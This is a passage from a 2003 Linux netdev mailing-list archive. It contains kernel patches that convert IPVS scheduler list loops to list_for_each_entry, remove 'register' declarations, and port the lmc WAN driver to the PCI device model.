write_lock(&tbl->lock); - while (e->next != l) { - en = list_entry(e->next, - struct ip_vs_lblc_entry, list); - if ((now - en->lastuse) < ENTRY_TIMEOUT) { - e = e->next; + list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { + if ((now - en->lastuse) < ENTRY_TIMEOUT) continue; - } + ip_vs_lblc_free(en); atomic_dec(&tbl->entries); goal--; @@ -452,7 +438,6 @@ static inline struct ip_vs_dest * __ip_vs_wlc_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - register struct list_head *l, *e; struct ip_vs_dest *dest, *least; int loh, doh; @@ -473,10 +458,7 @@ * The server with weight=0 is quiesced and will not receive any * new connection. */ - - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - least = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(least, &svc->destinations, n_list) { if (least->flags & IP_VS_DEST_F_OVERLOAD) continue; if (atomic_read(&least->weight) > 0) { @@ -491,9 +473,7 @@ * Find the destination with the least load. */ nextstage: - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); - + list_for_each_entry(dest, &svc->destinations, n_list) { if (dest->flags & IP_VS_DEST_F_OVERLOAD) continue; @@ -525,12 +505,9 @@ is_overloaded(struct ip_vs_dest *dest, struct ip_vs_service *svc) { if (atomic_read(&dest->activeconns) > atomic_read(&dest->weight)) { - register struct list_head *l, *e; struct ip_vs_dest *d; - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - d = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(d, &svc->destinations, n_list) { if (atomic_read(&d->activeconns)*2 < atomic_read(&d->weight)) { return 1; diff -Nru a/net/ipv4/ipvs/ip_vs_lblcr.c b/net/ipv4/ipvs/ip_vs_lblcr.c --- a/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:08:39 2003 @@ -171,7 +171,7 @@ /* get weighted least-connection node in the destination set */ static inline struct ip_vs_dest *ip_vs_dest_set_min(struct ip_vs_dest_set *set) { - struct ip_vs_dest_list *e; + register struct ip_vs_dest_list *e; struct ip_vs_dest *dest, *least; int loh, doh; @@ -226,7 +226,7 @@ /* get weighted most-connection node in the destination set */ static inline struct ip_vs_dest *ip_vs_dest_set_max(struct ip_vs_dest_set *set) { - struct ip_vs_dest_list *e; + register struct ip_vs_dest_list *e; struct ip_vs_dest *dest, *most; int moh, doh; @@ -432,15 +432,12 @@ { unsigned hash; struct ip_vs_lblcr_entry *en; - struct list_head *l,*e; hash = ip_vs_lblcr_hashkey(addr); - l = &tbl->bucket[hash]; read_lock(&tbl->lock); - for (e=l->next; e!=l; e=e->next) { - en = list_entry(e, struct ip_vs_lblcr_entry, list); + list_for_each_entry(en, &tbl->bucket[hash], list) { if (en->addr == addr) { /* HIT */ read_unlock(&tbl->lock); @@ -460,14 +457,11 @@ static void ip_vs_lblcr_flush(struct ip_vs_lblcr_table *tbl) { int i; - struct list_head *l; - struct ip_vs_lblcr_entry *en; + struct ip_vs_lblcr_entry *en, *nxt; for (i=0; ilock); - for (l=&tbl->bucket[i]; l->next!=l; ) { - en = list_entry(l->next, - struct ip_vs_lblcr_entry, list); + list_for_each_entry_safe(en, nxt, &tbl->bucket[i], list) { ip_vs_lblcr_free(en); atomic_dec(&tbl->entries); } @@ -480,19 +474,15 @@ { unsigned long now = jiffies; int i, j; - struct list_head *l, *e; - struct ip_vs_lblcr_entry *en; + struct ip_vs_lblcr_entry *en, *nxt; for (i=0, j=tbl->rover; ibucket[j]; + write_lock(&tbl->lock); - while (e->next != l) { - en = list_entry(e->next, - struct ip_vs_lblcr_entry, list); + list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { if ((now - en->lastuse) < sysctl_ip_vs_lblcr_expiration) { - e = e->next; continue; } ip_vs_lblcr_free(en); @@ -521,8 +511,7 @@ unsigned long now = jiffies; int goal; int i, j; - struct list_head *l, *e; - struct ip_vs_lblcr_entry *en; + struct ip_vs_lblcr_entry *en, *nxt; tbl = (struct ip_vs_lblcr_table *)data; @@ -544,15 +533,12 @@ for (i=0, j=tbl->rover; ibucket[j]; + write_lock(&tbl->lock); - while (e->next != l) { - en = list_entry(e->next, - struct ip_vs_lblcr_entry, list); - if ((now - en->lastuse) < ENTRY_TIMEOUT) { - e = e->next; + list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { + if ((now - en->lastuse) < ENTRY_TIMEOUT) continue; - } + ip_vs_lblcr_free(en); atomic_dec(&tbl->entries); goal--; @@ -583,7 +569,6 @@ struct ip_vs_lblcr_table *tbl; unsigned long now = jiffies; int i; - struct list_head *l, *e; struct ip_vs_lblcr_entry *en; tbl = lblcr_table_list; @@ -593,13 +578,11 @@ len += size; for (i=0; ibucket[i]; read_lock_bh(&tbl->lock); - for (e=l->next; e!=l; e=e->next) { + list_for_each_entry(en, &tbl->bucket[i], list) { char tbuf[16]; struct ip_vs_dest_list *d; - en = list_entry(e, struct ip_vs_lblcr_entry, list); sprintf(tbuf, "%u.%u.%u.%u", NIPQUAD(en->addr)); size = sprintf(buffer+len, "%8lu %-16s ", now-en->lastuse, tbuf); @@ -708,7 +691,6 @@ static inline struct ip_vs_dest * __ip_vs_wlc_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - register struct list_head *l, *e; struct ip_vs_dest *dest, *least; int loh, doh; @@ -729,10 +711,7 @@ * The server with weight=0 is quiesced and will not receive any * new connection. */ - - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - least = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(least, &svc->destinations, n_list) { if (least->flags & IP_VS_DEST_F_OVERLOAD) continue; @@ -748,8 +727,7 @@ * Find the destination with the least load. */ nextstage: - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { if (dest->flags & IP_VS_DEST_F_OVERLOAD) continue; @@ -781,12 +759,9 @@ is_overloaded(struct ip_vs_dest *dest, struct ip_vs_service *svc) { if (atomic_read(&dest->activeconns) > atomic_read(&dest->weight)) { - register struct list_head *l, *e; struct ip_vs_dest *d; - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - d = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(d, &svc->destinations, n_list) { if (atomic_read(&d->activeconns)*2 < atomic_read(&d->weight)) { return 1; diff -Nru a/net/ipv4/ipvs/ip_vs_lc.c b/net/ipv4/ipvs/ip_vs_lc.c --- a/net/ipv4/ipvs/ip_vs_lc.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_lc.c Tue Sep 16 14:08:39 2003 @@ -65,7 +65,6 @@ static struct ip_vs_dest * ip_vs_lc_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - struct list_head *l, *e; struct ip_vs_dest *dest, *least; unsigned int loh, doh; @@ -80,9 +79,7 @@ * served, but no new connection is assigned to the server. */ - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - least = list_entry (e, struct ip_vs_dest, n_list); + list_for_each_entry(least, &svc->destinations, n_list) { if (least->flags & IP_VS_DEST_F_OVERLOAD) continue; if (atomic_read(&least->weight) > 0) { @@ -96,8 +93,7 @@ * Find the destination with the least load. */ nextstage: - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { if ((dest->flags & IP_VS_DEST_F_OVERLOAD) || atomic_read(&dest->weight) == 0) continue; diff -Nru a/net/ipv4/ipvs/ip_vs_nq.c b/net/ipv4/ipvs/ip_vs_nq.c --- a/net/ipv4/ipvs/ip_vs_nq.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_nq.c Tue Sep 16 14:08:39 2003 @@ -81,7 +81,6 @@ static struct ip_vs_dest * ip_vs_nq_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - register struct list_head *l, *e; struct ip_vs_dest *dest, *least; unsigned int loh, doh; @@ -100,9 +99,7 @@ * new connections. */ - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - least = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(least, &svc->destinations, n_list) { if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && atomic_read(&least->weight) > 0) { loh = ip_vs_nq_dest_overhead(least); @@ -120,8 +117,7 @@ * Find the destination with the least load. */ nextstage: - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { if (dest->flags & IP_VS_DEST_F_OVERLOAD) continue; diff -Nru a/net/ipv4/ipvs/ip_vs_proto_tcp.c b/net/ipv4/ipvs/ip_vs_proto_tcp.c --- a/net/ipv4/ipvs/ip_vs_proto_tcp.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_proto_tcp.c Tue Sep 16 14:08:39 2003 @@ -479,22 +479,19 @@ static int tcp_register_app(struct ip_vs_app *inc) { struct ip_vs_app *i; - struct list_head *t, *p; __u16 hash, port = inc->port; int ret = 0; hash = tcp_app_hashkey(port); - t = &tcp_apps[hash]; spin_lock_bh(&tcp_app_lock); - for (p = t->next; p != t; p = p->next) { - i = list_entry(p, struct ip_vs_app, p_list); + list_for_each_entry(i, &tcp_apps[hash], p_list) { if (i->port == port) { ret = -EEXIST; goto out; } } - list_add(&inc->p_list, t); + list_add(&inc->p_list, &tcp_apps[hash]); atomic_inc(&ip_vs_protocol_tcp.appcnt); out: @@ -516,7 +513,6 @@ static int tcp_app_conn_bind(struct ip_vs_conn *cp) { - struct list_head *t, *p; int hash; struct ip_vs_app *inc; int result = 0; @@ -527,11 +523,9 @@ /* Lookup application incarnations and bind the right one */ hash = tcp_app_hashkey(cp->vport); - t = &tcp_apps[hash]; spin_lock(&tcp_app_lock); - for (p = t->next; p != t; p = p->next) { - inc = list_entry(p, struct ip_vs_app, p_list); + list_for_each_entry(inc, &tcp_apps[hash], p_list) { if (inc->port == cp->vport) { if (unlikely(!ip_vs_app_inc_get(inc))) break; diff -Nru a/net/ipv4/ipvs/ip_vs_proto_udp.c b/net/ipv4/ipvs/ip_vs_proto_udp.c --- a/net/ipv4/ipvs/ip_vs_proto_udp.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_proto_udp.c Tue Sep 16 14:08:39 2003 @@ -245,22 +245,20 @@ static int udp_register_app(struct ip_vs_app *inc) { struct ip_vs_app *i; - struct list_head *t, *p; __u16 hash, port = inc->port; int ret = 0; hash = udp_app_hashkey(port); - t = &udp_apps[hash]; + spin_lock_bh(&udp_app_lock); - for (p = t->next; p != t; p = p->next) { - i = list_entry(p, struct ip_vs_app, p_list); + list_for_each_entry(i, &udp_apps[hash], p_list) { if (i->port == port) { ret = -EEXIST; goto out; } } - list_add(&inc->p_list, t); + list_add(&inc->p_list, &udp_apps[hash]); atomic_inc(&ip_vs_protocol_udp.appcnt); out: @@ -281,7 +279,6 @@ static int udp_app_conn_bind(struct ip_vs_conn *cp) { - struct list_head *t, *p; int hash; struct ip_vs_app *inc; int result = 0; @@ -292,11 +289,9 @@ /* Lookup application incarnations and bind the right one */ hash = udp_app_hashkey(cp->vport); - t = &udp_apps[hash]; spin_lock(&udp_app_lock); - for (p = t->next; p != t; p = p->next) { - inc = list_entry(p, struct ip_vs_app, p_list); + list_for_each_entry(inc, &udp_apps[hash], p_list) { if (inc->port == cp->vport) { if (unlikely(!ip_vs_app_inc_get(inc))) break; diff -Nru a/net/ipv4/ipvs/ip_vs_rr.c b/net/ipv4/ipvs/ip_vs_rr.c --- a/net/ipv4/ipvs/ip_vs_rr.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_rr.c Tue Sep 16 14:08:39 2003 @@ -57,7 +57,7 @@ static struct ip_vs_dest * ip_vs_rr_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - register struct list_head *p, *q; + struct list_head *p, *q; struct ip_vs_dest *dest; IP_VS_DBG(6, "ip_vs_rr_schedule(): Scheduling...\n"); @@ -73,12 +73,12 @@ continue; } + dest = list_entry(q, struct ip_vs_dest, n_list); if (!(dest->flags & IP_VS_DEST_F_OVERLOAD) && atomic_read(&dest->weight) > 0) /* HIT */ goto out; - q = q->next; } while (q != p); write_unlock(&svc->sched_lock); return NULL; diff -Nru a/net/ipv4/ipvs/ip_vs_sched.c b/net/ipv4/ipvs/ip_vs_sched.c --- a/net/ipv4/ipvs/ip_vs_sched.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_sched.c Tue Sep 16 14:08:39 2003 @@ -106,18 +106,13 @@ static struct ip_vs_scheduler *ip_vs_sched_getbyname(const char *sched_name) { struct ip_vs_scheduler *sched; - struct list_head *l, *e; IP_VS_DBG(2, "ip_vs_sched_getbyname(): sched_name \"%s\"\n", sched_name); - l = &ip_vs_schedulers; - read_lock_bh(&__ip_vs_sched_lock); - for (e=l->next; e!=l; e=e->next) { - sched = list_entry(e, struct ip_vs_scheduler, n_list); - + list_for_each_entry(sched, &ip_vs_schedulers, n_list) { /* * Test and get the modules atomically */ diff -Nru a/net/ipv4/ipvs/ip_vs_sed.c b/net/ipv4/ipvs/ip_vs_sed.c --- a/net/ipv4/ipvs/ip_vs_sed.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_sed.c Tue Sep 16 14:08:39 2003 @@ -85,7 +85,6 @@ static struct ip_vs_dest * ip_vs_sed_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - register struct list_head *l, *e; struct ip_vs_dest *dest, *least; unsigned int loh, doh; @@ -104,9 +103,7 @@ * new connections. */ - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - least = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(least, &svc->destinations, n_list) { if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && atomic_read(&least->weight) > 0) { loh = ip_vs_sed_dest_overhead(least); @@ -119,9 +116,7 @@ * Find the destination with the least load. */ nextstage: - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); - + list_for_each_entry(dest, &svc->destinations, n_list) { if (dest->flags & IP_VS_DEST_F_OVERLOAD) continue; doh = ip_vs_sed_dest_overhead(dest); diff -Nru a/net/ipv4/ipvs/ip_vs_wlc.c b/net/ipv4/ipvs/ip_vs_wlc.c --- a/net/ipv4/ipvs/ip_vs_wlc.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_wlc.c Tue Sep 16 14:08:39 2003 @@ -73,7 +73,6 @@ static struct ip_vs_dest * ip_vs_wlc_schedule(struct ip_vs_service *svc, struct iphdr *iph) { - register struct list_head *l, *e; struct ip_vs_dest *dest, *least; unsigned int loh, doh; @@ -92,9 +91,7 @@ * new connections. */ - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - least = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(least, &svc->destinations, n_list) { if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && atomic_read(&least->weight) > 0) { loh = ip_vs_wlc_dest_overhead(least); @@ -107,9 +104,7 @@ * Find the destination with the least load. */ nextstage: - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); - + list_for_each_entry(dest, &svc->destinations, n_list) { if (dest->flags & IP_VS_DEST_F_OVERLOAD) continue; doh = ip_vs_wlc_dest_overhead(dest); diff -Nru a/net/ipv4/ipvs/ip_vs_wrr.c b/net/ipv4/ipvs/ip_vs_wrr.c --- a/net/ipv4/ipvs/ip_vs_wrr.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_wrr.c Tue Sep 16 14:08:39 2003 @@ -56,25 +56,22 @@ static int ip_vs_wrr_gcd_weight(struct ip_vs_service *svc) { - register struct list_head *l, *e; struct ip_vs_dest *dest; int weight; int g = 1; - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { weight = atomic_read(&dest->weight); if (weight > 0) { g = weight; - break; + goto search_gcd; } } - if (e == l) - return g; - for (e=e->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + return g; + + search_gcd: + list_for_each_entry(dest, &svc->destinations, n_list) { weight = atomic_read(&dest->weight); if (weight > 0) g = gcd(weight, g); @@ -89,13 +86,10 @@ */ static int ip_vs_wrr_max_weight(struct ip_vs_service *svc) { - register struct list_head *l, *e; struct ip_vs_dest *dest; int weight = 0; - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { if (atomic_read(&dest->weight) > weight) weight = atomic_read(&dest->weight); } From shemminger@osdl.org Tue Sep 16 14:26:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:26:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLQGYa013912 for ; Tue, 16 Sep 2003 14:26:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLPoo12039; Tue, 16 Sep 2003 14:25:51 -0700 Date: Tue, 16 Sep 2003 14:17:39 -0700 From: Stephen Hemminger To: Wensong Zhang Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] (2/6) ipvs -- get rid of register in declarations Message-Id: <20030916141739.22ff0101.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 1 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev GCC doesn't need register in declarations (and probably ignores them). diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:25 2003 +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:25 2003 @@ -279,7 +279,7 @@ static __inline__ unsigned ip_vs_svc_hashkey(unsigned proto, __u32 addr, __u16 port) { - register unsigned porth = ntohs(port); + unsigned porth = ntohs(port); return (proto^ntohl(addr)^(porth>>IP_VS_SVC_TAB_BITS)^porth) & IP_VS_SVC_TAB_MASK; @@ -482,7 +482,7 @@ */ static __inline__ unsigned ip_vs_rs_hashkey(__u32 addr, __u16 port) { - register unsigned porth = ntohs(port); + unsigned porth = ntohs(port); return (ntohl(addr)^(porth>>IP_VS_RTAB_BITS)^porth) & IP_VS_RTAB_MASK; diff -Nru a/net/ipv4/ipvs/ip_vs_lblcr.c b/net/ipv4/ipvs/ip_vs_lblcr.c --- a/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:08:25 2003 +++ b/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:08:25 2003 @@ -171,7 +171,7 @@ /* get weighted least-connection node in the destination set */ static inline struct ip_vs_dest *ip_vs_dest_set_min(struct ip_vs_dest_set *set) { - register struct ip_vs_dest_list *e; + struct ip_vs_dest_list *e; struct ip_vs_dest *dest, *least; int loh, doh; @@ -226,7 +226,7 @@ /* get weighted most-connection node in the destination set */ static inline struct ip_vs_dest *ip_vs_dest_set_max(struct ip_vs_dest_set *set) { - register struct ip_vs_dest_list *e; + struct ip_vs_dest_list *e; struct ip_vs_dest *dest, *most; int moh, doh; From shemminger@osdl.org Tue Sep 16 14:37:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:37:24 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLavYa016150 for ; Tue, 16 Sep 2003 14:37:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLalo14420; Tue, 16 Sep 2003 14:36:48 -0700 Date: Tue, 16 Sep 2003 14:36:27 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] convert wan/lmc to device model Message-Id: <20030916143627.51a08be0.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This patch converts drivers/net/wan/lmc for 2.6.0-test5 - use pci_device model - get rid of MOD_INC/DEC - use alloc_netdev and dev->priv for private data Builds and loads but don't have real hardware. diff -Nru a/drivers/net/wan/lmc/lmc_main.c b/drivers/net/wan/lmc/lmc_main.c --- a/drivers/net/wan/lmc/lmc_main.c Tue Sep 16 14:33:16 2003 +++ b/drivers/net/wan/lmc/lmc_main.c Tue Sep 16 14:33:16 2003 @@ -78,30 +78,20 @@ #include "lmc_debug.h" #include "lmc_proto.h" - -static int Lmc_Count = 0; -static struct net_device *Lmc_root_dev = NULL; -static u8 cards_found = 0; - static int lmc_first_load = 0; -int LMC_PKT_BUF_SZ = 1542; +static int LMC_PKT_BUF_SZ = 1542; -#ifdef MODULE static struct pci_device_id lmc_pci_tbl[] = { - { 0x1011, 0x009, 0x1379, PCI_ANY_ID, 0, 0, 0}, - { 0, } + { CORRECT_VENDOR_ID, CORRECT_DEV_ID, PCI_VENDOR_LMC, PCI_ANY_ID }, + { CORRECT_VENDOR_ID, CORRECT_DEV_ID, PCI_ANY_ID, PCI_VENDOR_LMC }, + { 0 } }; MODULE_DEVICE_TABLE(pci, lmc_pci_tbl); - MODULE_LICENSE("GPL"); -#endif -int lmc_probe_fake(struct net_device *dev); -static struct net_device *lmc_probe1(struct net_device *dev, unsigned long ioaddr, unsigned int irq, - int chip_id, int subdevice, int board_idx); static int lmc_start_xmit(struct sk_buff *skb, struct net_device *dev); static int lmc_start_xmit(struct sk_buff *skb, struct net_device *dev); static int lmc_rx (struct net_device *dev); @@ -115,12 +105,9 @@ static void lmc_running_reset(struct net_device *dev); static int lmc_ifdown(struct net_device * const); static void lmc_watchdog(unsigned long data); -static int lmc_init(struct net_device * const); static void lmc_reset(lmc_softc_t * const sc); static void lmc_dec_reset(lmc_softc_t * const sc); static void lmc_driver_timeout(struct net_device *dev); -int lmc_setup(void); - /* * linux reserves 16 device specific IOCTLs. We call them @@ -815,67 +802,77 @@ } -static int lmc_init(struct net_device * const dev) /*fold00*/ +static void lmc_setup(struct net_device * const dev) /*fold00*/ { - lmc_trace(dev, "lmc_init in"); - lmc_trace(dev, "lmc_init out"); - - return 0; + lmc_trace(dev, "lmc_setup in"); + + dev->type = ARPHRD_HDLC; + dev->hard_start_xmit = lmc_start_xmit; + dev->open = lmc_open; + dev->stop = lmc_close; + dev->get_stats = lmc_get_stats; + dev->do_ioctl = lmc_ioctl; + dev->set_config = lmc_set_config; + dev->tx_timeout = lmc_driver_timeout; + dev->watchdog_timeo = (HZ); /* 1 second */ + + lmc_trace(dev, "lmc_setup out"); } -/* This initializes each card from lmc_probe() */ -static struct net_device *lmc_probe1 (struct net_device *dev, unsigned long ioaddr, unsigned int irq, /*fold00*/ - int chip_id, int subdevice, int board_idx) + +static int __devinit lmc_init_one(struct pci_dev *pdev, + const struct pci_device_id *ent) { - lmc_softc_t *sc = NULL; + struct net_device *dev; + lmc_softc_t *sc; + u16 subdevice; u_int16_t AdapModelNum; - - /* - * Allocate our own device structure - */ - - dev = kmalloc (sizeof (struct net_device)+8, GFP_KERNEL); - if (dev == NULL){ - printk (KERN_ERR "lmc: kmalloc for device failed\n"); - return NULL; - } - memset (dev, 0, sizeof (struct net_device)); - + int err = -ENOMEM; + static int cards_found; #ifndef GCOM - /* - * Switch to common hdlc%d naming. We name by type not by vendor - */ - - dev_alloc_name(dev, "hdlc%d"); + /* We name by type not by vendor */ + static const char lmcname[] = "hdlc%d"; #else - /* + /* * GCOM uses LMC vendor name so that clients can know which card * to attach to. */ - dev_alloc_name(dev, "lmc%d"); + static const char lmcname[] = "lmc%d"; #endif - lmc_trace(dev, "lmc_probe1 in"); + + /* + * Allocate our own device structure + */ + dev = alloc_netdev(sizeof(lmc_softc_t), lmcname, lmc_setup); + if (!dev) { + printk (KERN_ERR "lmc:alloc_netdev for device failed\n"); + goto out1; + } + + lmc_trace(dev, "lmc_init_one in"); + + err = pci_enable_device(pdev); + if (err) { + printk(KERN_ERR "lmc: pci enable failed:%d\n", err); + goto out2; + } - Lmc_Count++; + if (pci_request_regions(pdev, "lmc")) { + printk(KERN_ERR "lmc: pci_request_region failed\n"); + err = -EIO; + goto out3; + } + + pci_set_drvdata(pdev, dev); if(lmc_first_load == 0){ - printk(KERN_INFO "Lan Media Corporation WAN Driver Version %d.%d.%d\n",DRIVER_MAJOR_VERSION, DRIVER_MINOR_VERSION,DRIVER_SUB_VERSION); + printk(KERN_INFO "Lan Media Corporation WAN Driver Version %d.%d.%d\n", + DRIVER_MAJOR_VERSION, DRIVER_MINOR_VERSION,DRIVER_SUB_VERSION); lmc_first_load = 1; } - /* - * Allocate space for the private data structure - */ - - sc = kmalloc (sizeof (lmc_softc_t), GFP_KERNEL); - if (sc == NULL) { - printk (KERN_WARNING "%s: Cannot allocate memory for device state\n", - dev->name); - return (NULL); - } - memset (sc, 0, sizeof (lmc_softc_t)); - dev->priv = sc; + sc = dev->priv; sc->lmc_device = dev; sc->name = dev->name; @@ -883,8 +880,12 @@ /* An ioctl can cause a subsequent detach for raw frame interface */ sc->if_type = LMC_PPP; sc->check = 0xBEAFCAFE; - dev->base_addr = ioaddr; - dev->irq = irq; + dev->base_addr = pci_resource_start(pdev, 0); + dev->irq = pdev->irq; + + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, &pdev->dev); + /* * This will get the protocol layer ready and do any 1 time init's * Must have a valid sc and dev structure @@ -893,19 +894,6 @@ lmc_proto_attach(sc); - /* Just fill in the entries for the device */ - - dev->init = lmc_init; - dev->type = ARPHRD_HDLC; - dev->hard_start_xmit = lmc_start_xmit; - dev->open = lmc_open; - dev->stop = lmc_close; - dev->get_stats = lmc_get_stats; - dev->do_ioctl = lmc_ioctl; - dev->set_config = lmc_set_config; - dev->tx_timeout = lmc_driver_timeout; - dev->watchdog_timeo = (HZ); /* 1 second */ - /* * Why were we changing this??? dev->tx_queue_len = 100; @@ -914,27 +902,28 @@ /* Init the spin lock so can call it latter */ spin_lock_init(&sc->lmc_lock); + pci_set_master(pdev); - printk ("%s: detected at %lx, irq %d\n", dev->name, ioaddr, dev->irq); + printk ("%s: detected at %lx, irq %d\n", dev->name, + dev->base_addr, dev->irq); if (register_netdev (dev) != 0) { printk (KERN_ERR "%s: register_netdev failed.\n", dev->name); - lmc_proto_detach(sc); - kfree (dev->priv); - kfree (dev); - return NULL; + goto out4; } - /* - * Request the region of registers we need, so that - * later on, no one else will take our card away from - * us. - */ - request_region (ioaddr, LMC_REG_RANGE, dev->name); - sc->lmc_cardtype = LMC_CARDTYPE_UNKNOWN; sc->lmc_timing = LMC_CTL_CLOCK_SOURCE_EXT; + /* + * + * Check either the subvendor or the subdevice, some systems reverse + * the setting in the bois, seems to be version and arch dependent? + * Fix the error, exchange the two values + */ + if ((subdevice = pdev->subsystem_device) == PCI_VENDOR_LMC) + subdevice = pdev->subsystem_vendor; + switch (subdevice) { case PCI_PRODUCT_LMC_HSSI: printk ("%s: LMC HSSI\n", dev->name); @@ -996,10 +985,7 @@ */ LMC_CSR_WRITE (sc, csr_gp_timer, 0xFFFFFFFFUL); - sc->board_idx = board_idx; - - memset (&sc->stats, 0, sizeof (struct lmc_statistics)); - + sc->board_idx = cards_found++; sc->stats.check = STATCHECK; sc->stats.version_size = (DRIVER_VERSION << 16) + sizeof (struct lmc_statistics); @@ -1008,105 +994,40 @@ sc->lmc_ok = 0; sc->last_link_status = 0; - lmc_trace(dev, "lmc_probe1 out"); - - return dev; -} - - -/* This is the entry point. This is what is called immediately. */ -/* This goes out and finds the card */ + lmc_trace(dev, "lmc_init_one out"); + return 0; -int lmc_probe_fake(struct net_device *dev) /*fold00*/ -{ - lmc_probe(NULL); - /* Return 1 to unloaded bogus device */ - return 1; + out4: + lmc_proto_detach(sc); + out3: + if (pdev) { + pci_release_regions(pdev); + pci_set_drvdata(pdev, NULL); + } + out2: + free_netdev(dev); + out1: + return err; } -int lmc_probe (struct net_device *dev) /*fold00*/ +/* + * 